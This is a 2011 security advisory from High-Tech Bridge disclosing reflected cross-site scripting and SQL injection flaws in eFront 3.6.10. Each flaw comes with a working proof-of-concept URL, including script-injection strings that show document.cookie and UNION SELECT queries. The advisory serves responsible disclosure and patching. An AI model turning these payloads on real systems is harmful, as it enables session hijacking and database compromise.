Total Tests:

Multiple vulnerabilities in Efront

Advisory ID:HTB23053
Product:Efront
Vendor:EPIGNOSIS Ltd
Vulnerable Versions:3.6.10 build 11944 and probably prior
Tested Version:3.6.10 build 11944
Advisory Publication:October 12, 2011 [without technical details]
Vendor Notification:October 12, 2011
Public Disclosure:November 2, 2011
Latest Update:October 26, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Efront, which can be exploited to perform SQL injection and cross-site scripting attacks.

1) Cross-Site scripting (XSS) vulnerabilities in Efront
1.1 Input passed via the "course" GET parameter to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/index.php?ctg=lesson_info&lessons_ID=1&course=%27%20onmouseove r%3dalert%28document.cookie%29%3E
1.2 Input appended to the URL after index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site
The following PoC is available:
http://[host]/index.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scr ipt%3E
Successful exploitation of this vulnerability requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")
1.3 Input passed via the "message_type" GET parameter to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/index.php?message=1&message_type=%22%20onmouseover=alert%28doc ument.cookie%29%3E
1.4 Input passed via the "ctg" GET parameter to professor.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/professor.php?ctg=%22%20onmouseover=%22alert%28document.cookie %29
1.5 Input passed via the "ctg" GET parameter to student.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/student.php?ctg=%22%20onmouseover=%22alert%28document.cookie%2 9
1.6 Input passed via the "ctg" GET parameter to administrator.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/administrator.php?ctg=%22%20onmouseover=%22alert%28document.co okie%29

2) SQL Injection in Efront
2.1 Input passed via the "done_test_id" GET parameter to view_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/view_test.php?done_test_id=1%20union%20select%201,2,%28select% 20version%28%29%29,4,5,6,7,8,9,10,11,12%20--%20
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
2.2Input passed via the "user" GET parameter to view_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/view_test.php?test_id=1&user=%27SQL_CODE_HERE
http://[host]/view_test.php?content_id=2&user=%27SQL_CODE_HERE
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.
2.3 Input passed via the "loglessonid" GET parameter to /modules/module_chat/admin.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/modules/module_chat/admin.php?force=getLessonFromId&loglessoni d=-1%27%20union%20select%20version%28%29%20--%202
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.
2.4 Input passed via the "user2" GET parameter to ask_information.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/ask_information.php?common_lessons=1&user1=professor&user2=%27 %20union%20select%201,version%28%29%20--%20
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB23053 - https://www.immuniweb.com/advisory/HTB23053 - Multiple vulnerabilities in Efront
[2] eFront - efrontlearning.net - eFront is an open source eLearning platform.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential